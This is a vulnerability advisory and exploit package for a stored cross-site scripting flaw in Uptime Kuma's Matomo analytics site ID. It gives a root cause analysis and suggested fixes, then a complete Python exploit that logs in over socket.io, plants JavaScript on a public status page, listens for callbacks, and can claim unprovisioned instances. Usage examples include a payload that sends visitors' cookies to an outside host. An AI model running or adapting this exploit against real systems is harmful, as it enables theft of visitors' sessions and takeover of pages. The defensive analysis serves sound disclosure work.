#Summary

CVE-2026-71285 is a stored cross-site scripting vulnerability in Uptime Kuma's Matomo analytics integration. An authenticated user can inject arbitrary JavaScript into a status page's analytics configuration. The payload executes in the browser of every unauthenticated visitor to the public status page, enabling session cookie theft and full page takeover. CVSS 8.1 HIGH - attack vector network, high privilege required for injection, user interaction required for execution, scope changed.

#Affected versions

#Root cause analysis

#The vulnerable code path

The Matomo analytics integration renders the admin-supplied site ID directly into the public status page as an unquoted JavaScript expression inside a <script> block:

function getMatomoAnalyticsScript(matomoUrl, siteId) {
    let escapedMatomoUrlJS = jsesc(matomoUrl, { isScriptContext: true });
    let escapedSiteIdJS = jsesc(siteId, { isScriptContext: true });
    let escapedSiteIdHTMLAttribute = escape(escapedSiteIdJS);

    return `
        <script type="text/javascript">
            var _paq = window._paq = window._paq || [];
            _paq.push(['setTrackerUrl', u+'matomo.php']);
            _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]);
            ...
        </script>
    `;
}

The critical line is _paq.push(['setSiteId', ${escapedSiteIdHTMLAttribute}]); - the site ID is interpolated as a bare, unquoted expression.

#Why the escapers fail

Two defense mechanisms are applied to siteId, and neither one protects the context it actually lands in:

jsesc(siteId, { isScriptContext: true }) is a JavaScript string literal escaper. When called without wrap: true, it returns the escaped contents of a string with no surrounding quotes - safe only if the caller puts it inside quotes. The caller does not.

escape() from html-escaper encodes & < > " ' as HTML entities. The variable name escapedSiteIdHTMLAttribute and comment "Escape the website id for use in an HTML attribute" reveal the author's intent: that this value would end up inside an HTML attribute like data-site-id="...". Inside the four sibling analytics providers (Google Analytics, Umami, Plausible, Rybbit), this is exactly what happens:

<script defer src="${escapedScriptUrlHTMLAttribute}" data-site-id="${escapedSiteIdHTMLAttribute}"></script>

Inside data-site-id="...", the " to &quot; conversion genuinely prevents breakout. But Matomo interpolates into a bare JavaScript expression position, not an attribute context.

#Why HTML entities don't save it

The generated script string is processed by cheerio in server/model/status_page.js:

if (analytics.isValidAnalyticsConfig(statusPage)) {
    let escapedAnalyticsScript = analytics.getAnalyticsScript(statusPage);
    head.append($(escapedAnalyticsScript));
}

<script> is an HTML rawtext element. Cheerio does not decode entities on parse nor re-encode on serialize. An &#39; produced by html-escaper is emitted to the browser as the literal seven characters &#39; and reaches the JavaScript parser as garbage, not as a quote.

#Breaking out: the payload alphabet

The two escapers between them defend against & < > " ' \ and control characters. They do not touch ( ) [ ] ; , . + = / ! { } : or the backtick. A site ID value of 1]);alert(document.cookie)// therefore produces:

_paq.push(['setSiteId', 1]);alert(document.cookie)//]);

The payload closes the array literal with ], closes the push() call with ), ends the statement with ;, executes arbitrary JavaScript, and the trailing // comments out the template's own ]); so the enclosing IIFE still parses.

#Reaching the sink

Nothing validates analyticsId on the way in. In saveStatusPage only the analytics type is allow-listed:

const validAnalyticsTypes = ["google", "umami", "plausible", "matomo", "rybbit"];
if (config.analyticsType !== null && !validAnalyticsTypes.includes(config.analyticsType)) {
    throw new Error("Invalid analytics type");
}

The UI field is a plain text input with no client-side numeric constraint. On the way out, /status/:slug is served to anyone with no published flag check:

router.get("/status/:slug", cache("5 minutes"), async (request, response) => {
    let slug = request.params.slug;
    slug = slug.toLowerCase();
    await StatusPage.handleStatusPageResponse(response, server.indexHTML, slug);
});

#Patch analysis

There is no vendor patch as of 2026-08-10. The vulnerable file server/analytics/matomo-analytics.js has exactly one commit in its history - the commit that created it - and the vulnerable line is unchanged at master and in release 2.5.0.

#What a correct fix looks like

Any of these closes the vulnerability:

  1. Wrap the interpolation in quotes so jsesc output is used in the context it was escaped for, and drop the HTML escaper:

    _paq.push(['setSiteId', '${jsesc(siteId, { isScriptContext: true })}']);
  2. Use jsesc with wrap:true and interpolate bare:

    _paq.push(['setSiteId', ${jsesc(siteId, { isScriptContext: true, wrap: true, json: true })}]);
  3. Validate analyticsId as a positive integer server-side. Matomo site IDs are always numeric, making this the tightest fix.

#Proof of concept

#exploit.py - Uptime Kuma Matomo Stored XSS PoC

#!/usr/bin/env python3
"""
CVE-2026-71285 - Uptime Kuma stored XSS via the Matomo analytics siteId
Affected: Uptime Kuma 2.1.0 through 2.5.0 (no fixed release at time of writing)
Type: Stored XSS (CWE-79) - injection into a bare JavaScript expression position

The Matomo analytics integration renders the admin-supplied site id into the public
status page as an unquoted JavaScript expression:

    _paq.push(['setSiteId', ${siteId}]);

The value is passed through jsesc (a *string literal* escaper, called without `wrap`)
and then through an HTML-entity escaper meant for attribute context. Neither touches
`]`, `)`, `;` or `(`, so a site id of `1]);<js>//` closes the array, closes the call,
ends the statement and runs arbitrary JavaScript for every unauthenticated visitor of
/status/<slug>. The trailing `//` comments out the template's own `]);`.

Payload alphabet: the HTML escaper mangles `' " < > &` and jsesc leaves a stray
backslash behind, so string constants must use backticks. This script builds a payload
that respects that constraint.

Requires one low-privilege authenticated session to plant the payload (any Uptime Kuma
account may edit a status page); the victims are unauthenticated visitors.

Usage:
  python exploit.py --host 192.168.1.10 --port 3001
  python exploit.py --host https://kuma.corp.com --payload "fetch(\\`http://10.0.0.5/\\`+document.cookie)"
  python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
  python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import json
import re
import secrets
import socket
import sys
import threading
import time
from urllib.parse import urlparse

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' package (pip install requests)\n")
    raise SystemExit(2)

try:
    requests.packages.urllib3.disable_warnings()  # self-signed certs are the norm here
except Exception:
    pass

CVE_ID = "CVE-2026-71285"
VULN_TYPE = "Stored XSS"

DEFAULT_PORT = 3001
DEFAULT_PAYLOAD = "alert(document.cookie)"
SEP = "\x1e"  # engine.io v4 polling packet separator


def header(host: str, port: int) -> None:
    print(f"\n{'='*60}")
    print(f"  CVE-2026-71285 EXPLOIT")
    print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
    print(f"{'='*60}\n")


def step(n: int, msg: str) -> None:
    print(f"[STEP {n}] {msg}")


def section(label: str, content: str) -> None:
    print(f"\n--- {label} ---")
    print(str(content).strip())
    print("---\n")


def done(success: bool, evidence: str) -> None:
    print(f"\n{'='*60}")
    print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
    print(f"  EVIDENCE: {evidence}")
    print(f"{'='*60}\n")
    sys.exit(0 if success else 1)


class ExploitError(Exception):
    """Anything that stops the run before a verdict can be reached."""


# Minimal socket.io v4 client over the engine.io HTTP long-polling transport.
# Uptime Kuma exposes its entire management API over socket.io; polling keeps this
# script to the standard library plus requests, with no websocket dependency.
class SocketIOClient:

    def __init__(self, base_url: str, verify_tls: bool = False, timeout: int = 20):
        self.base = base_url.rstrip("/")
        self.url = self.base + "/socket.io/"
        self.timeout = timeout
        self.session = requests.Session()
        self.session.verify = verify_tls
        self.sid = None
        self.ack_id = 0
        self.events = []
        self.acks = {}

    def _get(self):
        params = {"EIO": "4", "transport": "polling", "t": secrets.token_hex(4)}
        if self.sid:
            params["sid"] = self.sid
        r = self.session.get(self.url, params=params, timeout=(10, self.timeout + 10))
        if r.status_code != 200:
            raise ExploitError(f"polling GET returned HTTP {r.status_code}")
        return self._ingest(r.text)

    def _post(self, body: str):
        params = {"EIO": "4", "transport": "polling", "sid": self.sid,
                  "t": secrets.token_hex(4)}
        r = self.session.post(self.url, params=params, data=body.encode("utf-8"),
                              headers={"Content-Type": "text/plain;charset=UTF-8"},
                              timeout=(10, self.timeout))
        if r.status_code != 200:
            raise ExploitError(f"polling POST returned HTTP {r.status_code}")

    def _ingest(self, raw: str):
        out = []
        for packet in raw.split(SEP):
            if not packet:
                continue
            kind = packet[0]
            if kind == "0":
                self.sid = json.loads(packet[1:])["sid"]
            elif kind == "2":
                self._post("3")
            elif kind == "4":
                out.append(packet[1:])
                self._classify(packet[1:])
        return out

    def _classify(self, sio: str) -> None:
        if not sio:
            return
        kind, rest = sio[0], sio[1:]
        if kind == "4":
            raise ExploitError(f"server refused the socket.io connection: {rest}")
        if kind not in ("2", "3"):
            return
        m = re.match(r"^(\d*)(\[.*)$", rest, re.S)
        if not m:
            return
        ack, body = m.group(1), m.group(2)
        try:
            data = json.loads(body)
        except ValueError:
            return
        if kind == "3":
            self.acks[int(ack)] = data
        else:
            self.events.append((data[0], data[1:]))

    def connect(self) -> None:
        self._get()
        if not self.sid:
            raise ExploitError("no engine.io session id in handshake response")
        self._post("40")

    def wait_event(self, name: str, timeout: float) -> bool:
        deadline = time.time() + timeout
        while time.time() < deadline:
            if any(e[0] == name for e in self.events):
                return True
            self._get()
        return any(e[0] == name for e in self.events)

    def emit(self, event: str, *args, timeout: float = 20.0):
        self.ack_id += 1
        ack = self.ack_id
        self._post("42" + str(ack) + json.dumps([event] + list(args)))
        deadline = time.time() + timeout
        while time.time() < deadline:
            if ack in self.acks:
                data = self.acks.pop(ack)
                return data[0] if len(data) == 1 else data
            self._get()
        raise ExploitError(f"no response to '{event}' within {timeout:g}s")

    def close(self) -> None:
        try:
            self._post("41")
        except Exception:
            pass
        self.session.close()


class CallbackListener(threading.Thread):
    """Bare TCP listener that records any request carrying the run nonce."""

    def __init__(self, port: int, nonce: str):
        threading.Thread.__init__(self, daemon=True)
        self.port = port
        self.nonce = nonce
        self.hits = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("0.0.0.0", port))
        self.sock.listen(16)
        self.sock.settimeout(1.0)
        self._stop = threading.Event()

    def run(self) -> None:
        while not self._stop.is_set():
            try:
                conn, addr = self.sock.accept()
            except socket.timeout:
                continue
            except OSError:
                return
            try:
                conn.settimeout(3.0)
                data = conn.recv(4096).decode("utf-8", "replace")
                first = data.split("\r\n", 1)[0]
                if self.nonce in data:
                    self.hits.append((addr[0], first))
                conn.sendall(b"HTTP/1.1 200 OK\r\n"
                             b"Access-Control-Allow-Origin: *\r\n"
                             b"Content-Length: 0\r\nConnection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                try:
                    conn.close()
                except Exception:
                    pass

    def stop(self) -> None:
        self._stop.set()
        try:
            self.sock.close()
        except Exception:
            pass


def build_site_id(js: str, nonce: str) -> str:
    """Wrap attacker JavaScript into a site id that breaks out of _paq.push([...])."""
    js = js.strip().rstrip(";")
    return "1]);" + js + ";//" + nonce


def check_payload_alphabet(js: str) -> str:
    """Return a warning string if the payload uses characters the escapers destroy."""
    bad = sorted(set(c for c in js if c in "'\"<>&\\") | set(c for c in js if ord(c) > 126))
    if "\n" in js or "\r" in js:
        bad.append("newline")
    if bad:
        return ("payload contains " + " ".join(repr(c) for c in bad) +
                " - these are mangled by the HTML escaper / jsesc; use backticks for strings")
    return ""


def extract_injection(body: str):
    """Locate the setSiteId line in the served HTML."""
    for line in body.splitlines():
        if "setSiteId" in line:
            line = line.strip()
            marker = "'setSiteId',"
            idx = line.find(marker)
            span = line[idx + len(marker):].strip() if idx >= 0 else ""
            return line, span
    return None, None


def analyse(span: str, nonce: str, js: str):
    """Decide from the served HTML whether the site id landed in statement position."""
    if span is None:
        return False, "no _paq setSiteId script in the status page (analytics not rendered)"
    if nonce not in span:
        return False, "served page does not carry this run's nonce (stale cache or save lost)"
    if re.match(r"^[\"']", span):
        return False, "site id is enclosed in a string literal - target is patched"
    entity = re.search(r"&(?:#\d+|quot|apos|lt|gt|amp);", span)
    if entity:
        return False, f"site id was entity-encoded ({entity.group(0)}) - payload broke the alphabet"
    if not span.startswith("1]);"):
        return False, "site id did not break out of the array literal"
    after = span[len("1]);"):]
    if js.strip().rstrip(";") not in after:
        return False, "breakout present but the payload body was altered in transit"
    return True, "attacker JavaScript in statement position inside the _paq IIFE"


def plant(base: str, verify_tls: bool, js: str, nonce: str, username: str, password: str,
          slug: str, title: str, log=None, cleanup: bool = False, timeout: int = 20):
    """Full chain: authenticate, plant payload, fetch and analyse."""
    def say(n, msg):
        if log:
            log(n, msg)

    site_id = build_site_id(js, nonce)
    sio = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
    restore = None
    try:
        say(1, f"Opening a socket.io session to {base}/socket.io/ ...")
        sio.connect()
        sio.wait_event("loginRequired", 6.0)

        need_setup = sio.emit("needSetup", timeout=timeout)
        if need_setup is True:
            say(2, f"Instance is unprovisioned - claiming it as '{username}'")
            sio.emit("setup", username, password, timeout=timeout)
        else:
            say(2, f"Instance is provisioned - authenticating as '{username}'")

        login = sio.emit("login", {"username": username, "password": password, "token": ""},
                         timeout=timeout)
        if not isinstance(login, dict) or not login.get("ok"):
            msg = login.get("msg") if isinstance(login, dict) else str(login)
            raise ExploitError(f"authentication failed: {msg} "
                               "(supply valid --username / --password)")

        say(3, f"Authenticated. Selecting status page '{slug}'")
        created = sio.emit("addStatusPage", title, slug, timeout=timeout)
        page = sio.emit("getStatusPage", slug, timeout=timeout)
        if not isinstance(page, dict) or not page.get("config"):
            raise ExploitError(f"status page '{slug}' is not reachable "
                               f"(addStatusPage said: {created})")
        config = page["config"]
        group_list = page.get("publicGroupList") or []
        restore = {
            "analyticsType": config.get("analyticsType"),
            "analyticsId": config.get("analyticsId"),
            "analyticsScriptUrl": config.get("analyticsScriptUrl"),
        }

        say(4, "Writing the hostile Matomo site id into the status page config")
        config["analyticsType"] = "matomo"
        config["analyticsScriptUrl"] = config.get("analyticsScriptUrl") or "matomo.example.com"
        config["analyticsId"] = site_id
        saved = sio.emit("saveStatusPage", slug, config, config.get("icon"), group_list,
                         timeout=timeout)
        if not isinstance(saved, dict) or not saved.get("ok"):
            msg = saved.get("msg") if isinstance(saved, dict) else str(saved)
            raise ExploitError(f"saveStatusPage refused the payload: {msg}")
    finally:
        sio.close()

    say(5, f"Fetching {base}/status/{slug} with no authentication")
    r = requests.get(f"{base}/status/{slug}", timeout=timeout, verify=verify_tls,
                     headers={"Cache-Control": "no-cache"})
    line, span = extract_injection(r.text)
    exploited, reason = analyse(span, nonce, js)

    if cleanup and restore is not None:
        try:
            sio2 = SocketIOClient(base, verify_tls=verify_tls, timeout=timeout)
            sio2.connect()
            sio2.wait_event("loginRequired", 6.0)
            sio2.emit("login", {"username": username, "password": password, "token": ""},
                      timeout=timeout)
            page = sio2.emit("getStatusPage", slug, timeout=timeout)
            cfg = page["config"]
            cfg.update(restore)
            sio2.emit("saveStatusPage", slug, cfg, cfg.get("icon"),
                      page.get("publicGroupList") or [], timeout=timeout)
            sio2.close()
            say(6, "Cleanup: original analytics configuration restored")
        except Exception as exc:
            say(6, f"Cleanup failed ({exc.__class__.__name__}: {exc}) - "
                   f"restore analyticsType manually on '{slug}'")

    return {
        "exploited": exploited,
        "reason": reason,
        "status_code": r.status_code,
        "site_id": site_id,
        "line": line,
        "span": span,
        "body_len": len(r.text),
    }


def exploit(host: str, port: int, use_tls: bool, args) -> None:
    header(host, port)
    base = ("https" if use_tls else "http") + f"://{host}:{port}"
    nonce = secrets.token_hex(8)

    js = args.payload
    warning = check_payload_alphabet(js)
    if warning:
        section("PAYLOAD WARNING", warning)

    listener = None
    if args.callback:
        cb_host, _, cb_port = args.callback.partition(":")
        cb_port = int(cb_port or 80)
        js = f"fetch(`http://{cb_host}:{cb_port}/{nonce}`);" + js
        try:
            listener = CallbackListener(cb_port, nonce)
            listener.start()
            print(f"[*] Callback listener bound on 0.0.0.0:{cb_port} (nonce {nonce})")
        except OSError as exc:
            print(f"[*] Could not bind port {cb_port} ({exc}) - beacon still planted")

    print(f"[*] Injected JavaScript : {js}")
    print(f"[*] Site id sent        : {build_site_id(js, nonce)}\n")

    try:
        res = plant(base, args.insecure_verify, js, nonce, args.username, args.password,
                    args.slug, args.title, log=step, cleanup=args.cleanup,
                    timeout=args.timeout)
    except ExploitError as exc:
        if listener:
            listener.stop()
        section("ABORTED", str(exc))
        done(False, f"Exploit chain stopped: {exc}")
    except requests.exceptions.RequestException as exc:
        if listener:
            listener.stop()
        done(False, f"Target unreachable: {exc.__class__.__name__}: {exc}")

    section(f"SERVED HTML - /status/{args.slug} (HTTP {res['status_code']}, "
            f"{res['body_len']} bytes)", res["line"] or "(no setSiteId line in response)")

    if not res["exploited"]:
        if listener:
            listener.stop()
        done(False, f"Payload sent but not exploitable: {res['reason']}")

    section("INJECTED SPAN (raw, after \"'setSiteId',\")", res["span"])

    if listener:
        deadline = time.time() + args.wait
        print(f"[STEP 6] Waiting up to {args.wait}s for a browser to load "
              f"/status/{args.slug} and call back ...")
        while time.time() < deadline and not listener.hits:
            time.sleep(0.5)
        hits = list(listener.hits)
        listener.stop()
        if hits:
            section("CALLBACK RECEIVED",
                    "\n".join(f"{ip} -> {req}" for ip, req in hits))
            done(True, f"Stored XSS executed in a victim browser - nonce {nonce} "
                       f"called back from {hits[0][0]}")
        print(f"[*] No callback within {args.wait}s - the payload is stored and will fire "
              f"on the next visit")

    done(True, f"Stored XSS planted on /status/{args.slug} - {res['reason']}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
    parser.add_argument("--host", required=True, help="Target hostname, IP, or full URL")
    parser.add_argument("--port", type=int, default=3001, help="Port (default: 3001)")
    parser.add_argument("--payload", default="alert(document.cookie)",
                        help="JavaScript to execute (default: alert(document.cookie))")
    parser.add_argument("--username", default="operator", help="Account to create/use")
    parser.add_argument("--password", default="Str0ngPassw0rd!23", help="Account password")
    parser.add_argument("--slug", default="status", help="Status page slug (default: status)")
    parser.add_argument("--title", default="Status", help="Title if creating page")
    parser.add_argument("--callback", metavar="HOST:PORT", help="Listen for execution proof")
    parser.add_argument("--wait", type=int, default=60, help="Callback timeout in seconds")
    parser.add_argument("--cleanup", action="store_true", help="Restore original config after")
    parser.add_argument("--timeout", type=int, default=20, help="Network timeout in seconds")
    parser.add_argument("--insecure-verify", action="store_true", help="Verify TLS certs")
    parser.add_argument("--tls", action="store_true", help="Force TLS")
    parser.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    use_tls = args.tls or (args.host.startswith("https://"))
    if args.no_tls:
        use_tls = False
    host = args.host.replace("https://", "").replace("http://", "").split("/")[0]
    exploit(host, args.port, use_tls, args)

#Usage

Single target test:

python exploit.py --host 192.168.1.10 --port 3001
python exploit.py --host https://kuma.corp.com

With custom credentials and payload:

python exploit.py --host 192.168.1.10 --username admin --password hunter2 --slug public
python exploit.py --host 192.168.1.10 --payload 'fetch(`http://10.0.0.5/`+document.cookie)'

With execution proof and cleanup:

python exploit.py --host 192.168.1.10 --callback 10.0.0.5:8000 --wait 120
python exploit.py --host 192.168.1.10 --cleanup

Expected output (vulnerable target):

_paq.push(['setSiteId', 1]);alert(document.cookie);//<nonce>]);

Expected output (patched target):

_paq.push(['setSiteId', "1]);alert(document.cookie);//<nonce>"]);

On a patched target, the site ID is wrapped in quotes and the exploit reports failure.

#Exploitation notes

#Preconditions

#Impact

#Reliability

100% - The exploit chains authentication through socket.io, writes the configuration through the standard API, and proves execution by detecting the injected JavaScript in the served HTML.

#Chaining potential

Full DOM access within the scope of the status page origin. Can chain with other same-origin vulnerabilities or use as a staging point for further attacks.

#References